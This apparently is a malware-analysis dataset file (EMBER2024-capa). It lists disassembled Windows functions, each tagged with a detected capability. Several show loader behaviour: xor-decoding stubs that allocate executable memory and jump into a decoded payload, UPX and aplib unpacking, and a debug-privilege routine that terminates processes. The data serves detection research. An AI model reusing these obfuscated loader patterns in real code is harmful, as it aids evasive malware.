joyce8/EMBER2024-capa huggingface dataset:
Function at 0x10007faf
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x18
pushal
call 0x10007fbe
pop dword [ebp - 8]
mov eax, 0xa7814a2e
sub eax, 0x9780ca70
sub dword [ebp - 8], eax
mov dword [ebp - 0x18], 0xbffc9c84
sub dword [ebp - 0x18], 0x71aa5739
mov dword [ebp - 0x14], 0xd431d972
sub dword [ebp - 0x14], 0xa1fe8d2d
mov dword [ebp - 0x10], 0x23e3ce8b
sub dword [ebp - 0x10], 0xd7978a5d
mov dword [ebp - 0xc], 0x5e5345bf
add dword [ebp - 0xc], 0xa1acba41
lea eax, [ebp - 0x18]
push eax
mov eax, 0xed43125c
sub eax, 0xdd4151dc
add eax, dword [ebp - 8]
call dword [eax]
mov dword [ebp - 0x18], 0xb528ab84
add dword [ebp - 0x18], 0xbf49bdd2
mov dword [ebp - 0x14], 0xfd1092e4
sub dword [ebp - 0x14], 0xbba4316f
mov dword [ebp - 0x10], 0x7615a418
add dword [ebp - 0x10], 0xed59c854
mov dword [ebp - 0xc], 0xeffa131c
add dword [ebp - 0xc], 0x1005ece4
lea ebx, [ebp - 0x18]
push ebx
push eax
mov eax, sym.imp.kernel32.dll_GetProcAddress
add eax, dword [ebp - 8]
call dword [eax]
push 0x40
push 0x1000
push 0x35f07
push 0
call eax
mov ecx, 0x5a447f22
sub ecx, 0x5a443d5d
mov edi, eax
mov esi, 0x10026800
add esi, dword [ebp - 8]
mov ebx, 0xc0ba64a5
sub dword [ebp - 4], 0xdbf298bb
mov edx, dword [esi]
xor dword [ebp - 4], ebx
add edx, ebx
add dword [ebp - 4], edx
mov dword [edi], edx
sub dword [ebp - 4], edx
add edi, 4
add esi, 0x64234b5a
add esi, 0x9bdcb4aa
loop 0x100080cf
add eax, 0x2fe45a9c
add eax, 0xd01c9f4b
mov ebx, eax
add eax, 0x36967472
add eax, 0xc9698b93
mov ecx, 0x7845e675
sub ecx, 0x6845e675
add ecx, dword [ebp - 8]
call ebx
leave
ret

Function at 0x10008fc4
Capabilities:
Read file on windows

Disassembly:
push ecx
push ebx
push ebp
push esi
push edi
xor ebp, ebp
push 0x1000
mov dword [esp + 0x14], ebp
call sub.glib_lite.dll_Ordinal_406
mov esi, dword [esp + 0x1c]
mov edi, eax
mov ebx, dword [esp + 0x20]
pop ecx
mov dword [ebx], ebp
mov eax, dword [esi + 0x118]
sub eax, dword [esi + 0x110]
mov ecx, dword [esi + 0x11c]
sbb ecx, dword [esi + 0x114]
add eax, 0xffffffff
adc ecx, 0xffffffff
cmp ecx, ebp
ja 0x1000901f
jb 0x10009011
cmp eax, 0xffe
ja 0x1000901f
mov eax, dword [esi + 0x118]
sub eax, dword [esi + 0x110]
jmp 0x10009024
mov eax, 0x1000
test edi, edi
je 0x1000909a
push ebp
lea ecx, [esp + 0x14]
push ecx
push eax
push edi
push dword [esi + 0x104]
call dword [sym.imp.kernel32.dll_ReadFile]
test eax, eax
je 0x10009093
push sub.glib_lite.dll_Ordinal_109
push edi
push dword [esp + 0x18]
push ebp
push 0x1000
push edi
push ebp
call sub.gstreamer_lite.dll_Ordinal_25
add esp, 0x1c
mov dword [ebx], eax
test eax, eax
je 0x10009072
mov ecx, dword [esi + 0x110]
mov dword [eax + 0x40], ecx
mov ecx, dword [esi + 0x114]
mov dword [eax + 0x44], ecx
mov eax, dword [esp + 0x10]
add eax, dword [esi + 0x110]
push 0
pop edx
adc edx, dword [esi + 0x114]
mov dword [esi + 0x110], eax
mov dword [esi + 0x114], edx
jmp 0x1000909e
push edi
call sub.glib_lite.dll_Ordinal_109
pop ecx
xor eax, eax
xor edx, edx
pop edi
pop esi
pop ebp
pop ebx
pop ecx
ret
Function at 0x91c058
Capabilities:
Decompress data using aplib

Disassembly:
call fcn.0091c1a8
push ebx
mov ebx, esp
push ebx
mov esi, dword [ebx + 8]
mov edi, dword [ebx + 0x10]
cld
mov dl, pe_nt_image_headers32
mov al, byte [esi]
inc esi
mov byte [edi], al
inc edi
mov ebx, 2
add dl, dl
jne 0x91c07e
mov dl, byte [esi]
inc esi
adc dl, dl
jae 0x91c06a
add dl, dl
jne 0x91c089
mov dl, byte [esi]
inc esi
adc dl, dl
jae 0x91c0dc
xor eax, eax
add dl, dl
jne 0x91c096
mov dl, byte [esi]
inc esi
adc dl, dl
jae 0x91c17d
add dl, dl
jne 0x91c0a5
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x91c0b0
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x91c0bb
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x91c0c6
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
je 0x91c0d2
push edi
mov eax, eax
sub edi, eax
mov al, byte [edi]
pop edi
mov byte [edi], al
inc edi
mov ebx, 2
jmp 0x91c075
mov eax, 1
add dl, dl
jne 0x91c0ea
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x91c0f5
mov dl, byte [esi]
inc esi
adc dl, dl
jb 0x91c0e1
sub eax, ebx
mov ebx, 1
jne 0x91c128
mov ecx, 1
add dl, dl
jne 0x91c10e
mov dl, byte [esi]
inc esi
adc dl, dl
adc ecx, ecx
add dl, dl
jne 0x91c119
mov dl, byte [esi]
inc esi
adc dl, dl
jb 0x91c105
push esi
mov esi, edi
sub esi, ebp
rep movsb byte es:[edi], byte [esi]
pop esi
jmp 0x91c075
dec eax
shl eax, 8
mov al, byte [esi]
inc esi
mov ebp, eax
mov ecx, 1
add dl, dl
jne 0x91c13f
mov dl, byte [esi]
inc esi
adc dl, dl
adc ecx, ecx
add dl, dl
jne 0x91c14a
mov dl, byte [esi]
inc esi
adc dl, dl
jb 0x91c136
cmp eax, 0x7d00
jae 0x91c16d
cmp eax, 0x500
jb 0x91c168
inc ecx
push esi
mov esi, edi
sub esi, eax
rep movsb byte es:[edi], byte [esi]
pop esi
jmp 0x91c075
cmp eax, 0x7f
ja 0x91c170
add ecx, 2
push esi
mov esi, edi
sub esi, eax
rep movsb byte es:[edi], byte [esi]
pop esi
jmp 0x91c075
mov al, byte [esi]
inc esi
xor ecx, ecx
shr al, 1
je 0x91c19e
adc ecx, 2
mov ebp, eax
push esi
mov esi, edi
sub esi, eax
rep movsb byte es:[edi], byte [esi]
pop esi
mov ebx, 1
jmp 0x91c075
pop ebx
sub edi, dword [ebx + 0x10]
mov eax, edi
pop ebx
ret 0x10
Function at 0x70ce9058
Capabilities:
Decompress data using aplib

Disassembly:
call 0x70ce91a8
push ebx
mov ebx, esp
push ebx
mov esi, dword [ebx + 8]
mov edi, dword [ebx + 0x10]
cld
mov dl, 0x80
mov al, byte [esi]
inc esi
mov byte [edi], al
inc edi
mov ebx, 2
add dl, dl
jne 0x70ce907e
mov dl, byte [esi]
inc esi
adc dl, dl
jae 0x70ce906a
add dl, dl
jne 0x70ce9089
mov dl, byte [esi]
inc esi
adc dl, dl
jae 0x70ce90dc
xor eax, eax
add dl, dl
jne 0x70ce9096
mov dl, byte [esi]
inc esi
adc dl, dl
jae 0x70ce917d
add dl, dl
jne 0x70ce90a5
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x70ce90b0
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x70ce90bb
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x70ce90c6
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
je 0x70ce90d2
push edi
mov eax, eax
sub edi, eax
mov al, byte [edi]
pop edi
mov byte [edi], al
inc edi
mov ebx, 2
jmp 0x70ce9075
mov eax, 1
add dl, dl
jne 0x70ce90ea
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x70ce90f5
mov dl, byte [esi]
inc esi
adc dl, dl
jb 0x70ce90e1
sub eax, ebx
mov ebx, 1
jne 0x70ce9128
mov ecx, 1
add dl, dl
jne 0x70ce910e
mov dl, byte [esi]
inc esi
adc dl, dl
adc ecx, ecx
add dl, dl
jne 0x70ce9119
mov dl, byte [esi]
inc esi
adc dl, dl
jb 0x70ce9105
push esi
mov esi, edi
sub esi, ebp
rep movsb byte es:[edi], byte [esi]
pop esi
jmp 0x70ce9075
dec eax
shl eax, 8
mov al, byte [esi]
inc esi
mov ebp, eax
mov ecx, 1
add dl, dl
jne 0x70ce913f
mov dl, byte [esi]
inc esi
adc dl, dl
adc ecx, ecx
add dl, dl
jne 0x70ce914a
mov dl, byte [esi]
inc esi
adc dl, dl
jb 0x70ce9136
cmp eax, 0x7d00
jae 0x70ce916d
cmp eax, 0x500
jb 0x70ce9168
inc ecx
push esi
mov esi, edi
sub esi, eax
rep movsb byte es:[edi], byte [esi]
pop esi
jmp 0x70ce9075
cmp eax, 0x7f
ja 0x70ce9170
add ecx, 2
push esi
mov esi, edi
sub esi, eax
rep movsb byte es:[edi], byte [esi]
pop esi
jmp 0x70ce9075
mov al, byte [esi]
inc esi
xor ecx, ecx
shr al, 1
je 0x70ce919e
adc ecx, 2
mov ebp, eax
push esi
mov esi, edi
sub esi, eax
rep movsb byte es:[edi], byte [esi]
pop esi
mov ebx, 1
jmp 0x70ce9075
pop ebx
sub edi, dword [ebx + 0x10]
mov eax, edi
pop ebx
ret 0x10
Function at 0x43c950
Capabilities:
Packed with generic packer

Disassembly:
pushal
mov esi, section.UPX1
lea edi, [esi - 0x2c000]
push edi
jmp 0x43c96a
mov al, byte [esi]
inc esi
mov byte [edi], al
inc edi
add ebx, ebx
jne 0x43c971
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x43c960
mov eax, 1
add ebx, ebx
jne 0x43c983
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
add ebx, ebx
jae 0x43c978
jne 0x43c994
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x43c978
xor ecx, ecx
sub eax, 3
jb 0x43c9a8
shl eax, 8
mov al, byte [esi]
inc esi
xor eax, 0xffffffff
je 0x43ca1a
mov ebp, eax
add ebx, ebx
jne 0x43c9b3
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jne 0x43c9c0
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
jne 0x43c9e4
inc ecx
add ebx, ebx
jne 0x43c9d0
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jae 0x43c9c5
jne 0x43c9e1
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x43c9c5
add ecx, 2
cmp ebp, 0xfffff300
adc ecx, 1
lea edx, [edi + ebp]
cmp ebp, 0xfffffffc
jbe 0x43ca04
mov al, byte [edx]
inc edx
mov byte [edi], al
inc edi
dec ecx
jne 0x43c9f5
jmp 0x43c966
mov eax, dword [edx]
add edx, 4
mov dword [edi], eax
add edi, 4
sub ecx, 4
ja 0x43ca04
add edi, ecx
jmp 0x43c966
pop esi
mov edi, esi
mov ecx, 0xa57
mov al, byte [edi]
inc edi
sub al, 0xe8
cmp al, 1
ja 0x43ca22
cmp byte [edi], 0x12
jne 0x43ca22
mov eax, dword [edi]
mov bl, byte [edi + 4]
shr ax, 8
rol eax, 0x10
xchg ah, al
sub eax, edi
sub bl, 0xe8
add eax, esi
mov dword [edi], eax
add edi, 5
mov al, bl
loop 0x43ca27
lea edi, [esi + 0x3a000]
mov eax, dword [edi]
or eax, eax
je 0x43ca9f
mov ebx, dword [edi + 4]
lea eax, [eax + esi + 0x53d80]
add ebx, esi
push eax
add edi, 8
call dword [esi + 0x53e60]
xchg ebp, eax
mov al, byte [edi]
inc edi
or al, al
je 0x43ca54
mov ecx, edi
jns 0x43ca83
movzx eax, word [edi]
inc edi
push eax
inc edi
mov ecx, 0xaef24857
push edi
dec eax
repne scasb al, byte es:[edi]
push ebp
call dword [esi + 0x53e68]
or eax, eax
je 0x43ca99
mov dword [ebx], eax
add ebx, 4
jmp 0x43ca71
call dword [esi + 0x53e64]
mov ebp, dword [esi + 0x53e6c]
lea edi, [esi - 0x1000]
mov ebx, 0x1000
push eax
push esp
push 4
push ebx
push edi
call ebp
lea eax, [edi + 0x17f]
and byte [eax], 0x7f
and byte [eax + 0x28], 0x7f
pop eax
push eax
push esp
push eax
push ebx
push edi
call ebp
pop eax
popal
lea eax, [esp - 0x80]
push 0
cmp esp, eax
jne 0x43cad3
sub esp, 0xffffff80
jmp 0x41942f
Function at 0x401000
Capabilities:
Hide graphical window

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x54
mov eax, dword [section..data]
xor eax, ebp
mov dword [ebp - 4], eax
push esi
mov esi, dword [sym.imp.USER32.dll_LoadStringW]
push edi
mov edi, dword [ebp + 8]
push 0x64
push 0x416510
push 0x67
push edi
call esi
push 0x64
push 0x416448
push 0x6d
push edi
call esi
mov esi, dword [sym.imp.USER32.dll_LoadIconW]
push 0x6b
push edi
mov dword [ebp - 0x34], 0x30
mov dword [ebp - 0x30], 3
mov dword [ebp - 0x2c], 0x401180
mov dword [ebp - 0x28], 0
mov dword [ebp - 0x24], 0
mov dword [ebp - 0x20], edi
call esi
push 0x7f00
push 0
mov dword [ebp - 0x1c], eax
call dword [sym.imp.USER32.dll_LoadCursorW]
push 0x6c
push dword [ebp - 0x20]
mov dword [ebp - 0x18], eax
mov dword [ebp - 0x14], 6
mov dword [ebp - 0x10], 0x6d
mov dword [ebp - 0xc], 0x416448
call esi
mov dword [ebp - 8], eax
lea eax, [ebp - 0x34]
push eax
call dword [sym.imp.USER32.dll_RegisterClassExW]
push 0
push edi
push 0
push 0
push 0
push 0x80000000
push 0
push 0x80000000
push 0xcf0000
push 0x416510
push 0x416448
push 0
mov dword [0x416440], edi
call dword [sym.imp.USER32.dll_CreateWindowExW]
mov esi, eax
test esi, esi
jne 0x4010ea
pop edi
pop esi
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.004012d9
mov esp, ebp
pop ebp
ret 0x10
push dword [ebp + 0x14]
push esi
call dword [sym.imp.USER32.dll_ShowWindow]
push esi
call dword [sym.imp.USER32.dll_UpdateWindow]
push 0x6d
push edi
call dword [sym.imp.USER32.dll_LoadAcceleratorsW]
mov esi, dword [sym.imp.USER32.dll_GetMessageW]
push 0
push 0
mov dword [ebp - 0x54], eax
lea eax, [ebp - 0x50]
push 0
push eax
call esi
test eax, eax
je 0x401161
mov edi, dword [sym.imp.USER32.dll_TranslateMessage]
push ebx
mov ebx, dword [sym.imp.USER32.dll_DispatchMessageW]
nop word [eax + eax]
lea eax, [ebp - 0x50]
push eax
push dword [ebp - 0x54]
push dword [ebp - 0x50]
call dword [sym.imp.USER32.dll_TranslateAcceleratorW]
test eax, eax
jne 0x401150
lea eax, [ebp - 0x50]
push eax
call edi
lea eax, [ebp - 0x50]
push eax
call ebx
push 0
push 0
push 0
lea eax, [ebp - 0x50]
push eax
call esi
test eax, eax
jne 0x401130
pop ebx
mov ecx, dword [ebp - 4]
mov eax, dword [ebp - 0x48]
xor ecx, ebp
pop edi
pop esi
call fcn.004012d9
mov esp, ebp
pop ebp
ret 0x10

Function at 0x401b0a
Capabilities:
Parse pe header

Disassembly:
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test eax, eax
je 0x401b49
mov ecx, 0x5a4d
cmp word [eax], cx
jne 0x401b49
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x401b49
mov eax, 0x10b
cmp word [ecx + 0x18], ax
jne 0x401b49
cmp dword [ecx + 0x74], 0xe
jbe 0x401b49
cmp dword [ecx + 0xe8], 0
setne al
ret
xor al, al
ret
Function at 0x406509
Capabilities:
Enumerate files on windows

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x264
mov eax, dword [section..data]
xor eax, ebp
mov dword [ebp - 4], eax
mov edx, dword [ebp + 0xc]
mov ecx, dword [ebp + 0x10]
push ebx
push esi
push edi
mov edi, dword [ebp + 8]
mov dword [ebp - 0x25c], ecx
cmp edx, edi
je 0x406554
movzx eax, word [edx]
lea ecx, [ebp - 0x255]
push eax
call fcn.00406726
test al, al
jne 0x40654e
sub edx, 2
cmp edx, edi
jne 0x406534
mov ecx, dword [ebp - 0x25c]
movzx esi, word [edx]
cmp esi, 0x3a
jne 0x406576
lea eax, [edi + 2]
cmp edx, eax
je 0x406576
push ecx
xor ebx, ebx
push ebx
push ebx
push edi
call fcn.00406455
add esp, 0x10
jmp 0x406670
push esi
lea ecx, [ebp - 0x255]
call fcn.00406726
sub edx, edi
movzx eax, al
sar edx, 1
inc edx
neg eax
sbb eax, eax
xor ebx, ebx
push ebx
push ebx
and eax, edx
push ebx
mov dword [ebp - 0x260], eax
lea eax, [ebp - 0x254]
push eax
push ebx
push edi
call dword [sym.imp.KERNEL32.dll_FindFirstFileExW]
mov esi, eax
cmp esi, 0xffffffff
jne 0x4065b9
push dword [ebp - 0x25c]
jmp 0x406566
mov ebx, dword [ebp - 0x25c]
push 0x2e
mov eax, dword [ebx + 4]
sub eax, dword [ebx]
sar eax, 2
mov dword [ebp - 0x25c], eax
pop eax
cmp word [ebp - 0x228], ax
jne 0x4065f6
cmp word [ebp - 0x226], 0
je 0x406617
cmp word [ebp - 0x226], ax
jne 0x4065f6
cmp word [ebp - 0x224], 0
je 0x406617
push ebx
push dword [ebp - 0x260]
lea eax, [ebp - 0x228]
push edi
push eax
call fcn.00406455
add esp, 0x10
mov dword [ebp - 0x264], eax
test eax, eax
jne 0x406663
lea eax, [ebp - 0x254]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_FindNextFileW]
push 0x2e
test eax, eax
pop eax
jne 0x4065d0
mov eax, dword [ebx + 4]
mov edx, dword [ebx]
sub eax, edx
mov ecx, dword [ebp - 0x25c]
sar eax, 2
cmp ecx, eax
jne 0x40664b
push esi
call dword [sym.imp.KERNEL32.dll_FindClose]
xor eax, eax
jmp 0x406670
push 0x406285
sub eax, ecx
push 4
push eax
lea eax, [edx + ecx*4]
push eax
call fcn.004092d0
add esp, 0x10
jmp 0x406640
push esi
call dword [sym.imp.KERNEL32.dll_FindClose]
mov eax, dword [ebp - 0x264]
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.004012d9
leave
ret

Function at 0x4081a4
Capabilities:
Allocate thread local storage

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push esi
push 0x40fffc
push 0x40fff4
push str.FlsAlloc
push 0x1f
call fcn.004080df
mov esi, eax
add esp, 0x10
test esi, esi
je 0x4081d8
push dword [ebp + 8]
mov ecx, esi
call dword [0x40e154]
call esi
jmp 0x4081de
call dword [sym.imp.KERNEL32.dll_TlsAlloc]
pop esi
pop ebp
ret 4

Function at 0x408222
Capabilities:
Get thread local storage value

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push esi
push 0x41000c
push 0x410004
push str.FlsGetValue
push 0x21
call fcn.004080df
mov esi, eax
add esp, 0x10
test esi, esi
je 0x408259
push dword [ebp + 8]
mov ecx, esi
call dword [0x40e154]
call esi
pop esi
pop ebp
ret 4
pop esi
pop ebp
jmp dword [sym.imp.KERNEL32.dll_TlsGetValue]
Function at 0x408261
Capabilities:
Set thread local storage value

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push esi
push 0x410014
push 0x41000c
push str.FlsSetValue
push 0x22
call fcn.004080df
mov esi, eax
add esp, 0x10
test esi, esi
je 0x40829b
push dword [ebp + 0xc]
mov ecx, esi
push dword [ebp + 8]
call dword [0x40e154]
call esi
pop esi
pop ebp
ret 8
pop esi
pop ebp
jmp dword [sym.imp.KERNEL32.dll_TlsSetValue]
Function at 0x40cff0
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [ebp + 8]
mov ecx, 0x5a4d
cmp word [eax], cx
jne 0x40d01d
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x40d01d
mov edx, 0x10b
xor eax, eax
cmp word [ecx + 0x18], dx
sete al
pop ebp
ret
xor eax, eax
pop ebp
ret
Function at 0x87c058
Capabilities:
Decompress data using aplib

Disassembly:
call fcn.0087c1a8
push ebx
mov ebx, esp
push ebx
mov esi, dword [ebx + 8]
mov edi, dword [ebx + 0x10]
cld
mov dl, 0x80
mov al, byte [esi]
inc esi
mov byte [edi], al
inc edi
mov ebx, 2
add dl, dl
jne 0x87c07e
mov dl, byte [esi]
inc esi
adc dl, dl
jae 0x87c06a
add dl, dl
jne 0x87c089
mov dl, byte [esi]
inc esi
adc dl, dl
jae 0x87c0dc
xor eax, eax
add dl, dl
jne 0x87c096
mov dl, byte [esi]
inc esi
adc dl, dl
jae 0x87c17d
add dl, dl
jne 0x87c0a5
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x87c0b0
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x87c0bb
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x87c0c6
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
je 0x87c0d2
push edi
mov eax, eax
sub edi, eax
mov al, byte [edi]
pop edi
mov byte [edi], al
inc edi
mov ebx, 2
jmp 0x87c075
mov eax, 1
add dl, dl
jne 0x87c0ea
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x87c0f5
mov dl, byte [esi]
inc esi
adc dl, dl
jb 0x87c0e1
sub eax, ebx
mov ebx, 1
jne 0x87c128
mov ecx, 1
add dl, dl
jne 0x87c10e
mov dl, byte [esi]
inc esi
adc dl, dl
adc ecx, ecx
add dl, dl
jne 0x87c119
mov dl, byte [esi]
inc esi
adc dl, dl
jb 0x87c105
push esi
mov esi, edi
sub esi, ebp
rep movsb byte es:[edi], byte [esi]
pop esi
jmp 0x87c075
dec eax
shl eax, 8
mov al, byte [esi]
inc esi
mov ebp, eax
mov ecx, 1
add dl, dl
jne 0x87c13f
mov dl, byte [esi]
inc esi
adc dl, dl
adc ecx, ecx
add dl, dl
jne 0x87c14a
mov dl, byte [esi]
inc esi
adc dl, dl
jb 0x87c136
cmp eax, 0x7d00
jae 0x87c16d
cmp eax, 0x500
jb 0x87c168
inc ecx
push esi
mov esi, edi
sub esi, eax
rep movsb byte es:[edi], byte [esi]
pop esi
jmp 0x87c075
cmp eax, 0x7f
ja 0x87c170
add ecx, 2
push esi
mov esi, edi
sub esi, eax
rep movsb byte es:[edi], byte [esi]
pop esi
jmp 0x87c075
mov al, byte [esi]
inc esi
xor ecx, ecx
shr al, 1
je 0x87c19e
adc ecx, 2
mov ebp, eax
push esi
mov esi, edi
sub esi, eax
rep movsb byte es:[edi], byte [esi]
pop esi
mov ebx, 1
jmp 0x87c075
pop ebx
sub edi, dword [ebx + 0x10]
mov eax, edi
pop ebx
ret 0x10
Function at 0x10006089
Capabilities:
Resume thread

Disassembly:
push 0x10
mov eax, 0x10011324
call fcn.10010dbc
mov ebx, ecx
mov dword [ebp - 0x18], ebx
cmp byte [ebx + 4], 0
jne 0x100061ed
call dword [sym.imp.kernel32.dll_GetCurrentThreadId]
cmp eax, dword [ebx]
jne 0x100061ed
push 0x1000334a
push 0xd008
call fcn.100062eb
mov edi, eax
mov dword [ebp - 0x1c], edi
pop ecx
pop ecx
test edi, edi
je 0x100061e6
push 0xc000
xor ebx, ebx
push ebx
push edi
call fcn.1000ec20
add esp, 0xc
mov dword [edi + 0xc000], ebx
lea eax, [edi + 0xc004]
push 0x1000
push ebx
push eax
call fcn.1000ec20
add esp, 0xc
mov dword [edi + 0xd004], ebx
test edi, edi
je 0x100061e6
call dword [sym.imp.kernel32.dll_GetProcessHeap]
push eax
lea ecx, [ebp - 0x1c]
call fcn.100062eb
mov ecx, edi
mov dword [ebp - 4], ebx
call fcn.100062eb
mov esi, eax
push esi
push 0x10003028
mov dword [ebp - 0x10], esi
call fcn.100062eb
pop ecx
pop ecx
test esi, esi
jne 0x1000619a
mov ecx, edi
call fcn.100062eb
mov eax, dword [ebp + 8]
mov eax, dword [eax + 0x24]
mov dword [ebp - 0x14], eax
test eax, eax
je 0x100061fa
mov eax, dword [eax]
mov esi, dword [eax + 8]
mov ecx, esi
call dword [0x10014250]
mov ecx, dword [ebp - 0x14]
call esi
call fcn.100062eb
test eax, eax
je 0x10006190
jg 0x10006175
mov esi, eax
mov dword [ebp - 0x10], eax
jmp 0x10006181
movzx esi, ax
or esi, 0x80070000
mov dword [ebp - 0x10], esi
push esi
push 0x10003050
call fcn.100062eb
pop ecx
pop ecx
jmp 0x1000619a
mov eax, dword [ebp - 0x18]
mov esi, dword [ebp - 0x10]
mov byte [eax + 4], 1
lea ecx, [ebp - 0x1c]
call fcn.1000704c
lea eax, [edi + 0xc000]
mov dword [ebp - 0x1c], eax
cmp dword [eax], ebx
jbe 0x100061ce
lea esi, [edi + 8]
test byte [esi - 4], 1
je 0x100061c3
push dword [esi]
call dword [sym.imp.kernel32.dll_ResumeThread]
mov eax, dword [ebp - 0x1c]
inc ebx
add esi, 0xc
cmp ebx, dword [eax]
jb 0x100061b2
mov esi, dword [ebp - 0x10]
mov ecx, edi
call fcn.100062eb
push 0xd008
push edi
call fcn.100062eb
pop ecx
pop ecx
mov eax, esi
jmp 0x100061f2
mov eax, 0x8007000e
jmp 0x100061f2
mov eax, 0x800710dd
call fcn.10010d85
ret 4
call fcn.100062eb
int3

Function at 0x100062eb
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x58
pushal
call 0x100062fa
pop dword [ebp - 0x48]
mov eax, 0x100062fa
sub dword [ebp - 0x48], eax
push 0x40
push 0x1000
push 0x3884c
push 0
mov eax, sym.imp.kernel32.dll_VirtualAlloc
add eax, dword [ebp - 0x48]
call dword [eax]
mov ecx, 0x45fc
mov edx, eax
mov ebx, 0x10018600
add ebx, dword [ebp - 0x48]
mov edi, 0xb68bec5e
add edi, 0x4f27073c
add dword [ebp - 0xc], 0xceea9933
mov esi, dword [ebx]
mov dword [ebp - 0x1c], 0x6f2474ab
xor esi, edi
mov dword [edx], esi
add dword [ebp - 0x1c], 0xb1c20ccb
add edx, 0xa0af8286
sub edx, 0xa0af8282
add ebx, 0x2dee6757
add ebx, 0xd21198ad
loop 0x10006343
add eax, 0xa0816c32
add eax, 0x5f7f9e91
mov ebx, eax
add eax, 0x1e30530d
add eax, 0xe1cfacf8
mov ecx, 0x4a4af24a
add ecx, 0xc5b50db6
add ecx, dword [ebp - 0x48]
call ebx
leave
ret
Function at 0x402040
Capabilities:
Create thread

Disassembly:
push ecx
push ebx
push ebp
push esi
push edi
push 8
call fcn.004054ad
mov ebx, eax
mov eax, dword [esp + 0x20]
push 0x804
xor ebp, ebp
mov dword [ebx], eax
call fcn.004054ad
mov esi, dword [esp + 0x20]
mov ecx, 0x201
mov edi, eax
mov dword [ebx + 4], eax
rep movsd dword es:[edi], dword [esi]
add esp, 8
lea ecx, [esp + 0x10]
push ecx
push ebp
push ebx
push 0x4020b0
push ebp
push ebp
call dword [sym.imp.KERNEL32.dll_CreateThread]
test eax, eax
je 0x40209f
push eax
mov esi, 1
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, esi
pop edi
pop esi
pop ebp
pop ebx
pop ecx
ret
pop edi
mov eax, ebp
pop esi
pop ebp
pop ebx
pop ecx
ret
Function at 0x4035a0
Capabilities:
Terminate process

Disassembly:
push esi
call fcn.004035f0
push 0
call dword [sym.imp.KERNEL32.dll_SetLastError]
mov eax, dword [esp + 8]
push eax
push 0
push 1
call dword [sym.imp.KERNEL32.dll_OpenProcess]
mov esi, eax
test esi, esi
jne 0x4035cb
call dword [sym.imp.KERNEL32.dll_GetLastError]
pop esi
ret
push 0xffffffffffffffff
push esi
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
test eax, eax
jne 0x4035e0
call dword [sym.imp.KERNEL32.dll_GetLastError]
pop esi
ret
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
xor eax, eax
pop esi
ret

Function at 0x4035f0
Capabilities:
Acquire debug privileges

Disassembly:
sub esp, 0x1c
lea eax, [esp]
push eax
push 0x28
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.ADVAPI32.dll_OpenProcessToken]
test eax, eax
je 0x403673
lea ecx, [esp + 4]
push ecx
push str.SeDebugPrivilege
push 0
call dword [sym.imp.ADVAPI32.dll_LookupPrivilegeValueW]
test eax, eax
jne 0x403630
mov edx, dword [esp]
push edx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
add esp, 0x1c
ret
mov eax, dword [esp + 4]
mov ecx, dword [esp + 8]
push 0
push 0
lea edx, [esp + 0x14]
mov dword [esp + 0x18], eax
mov eax, dword [esp + 8]
push 0x10
push edx
push 0
push eax
mov dword [esp + 0x24], 1
mov dword [esp + 0x2c], ecx
mov dword [esp + 0x30], 2
call dword [sym.imp.ADVAPI32.dll_AdjustTokenPrivileges]
mov ecx, dword [esp]
push ecx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
add esp, 0x1c
ret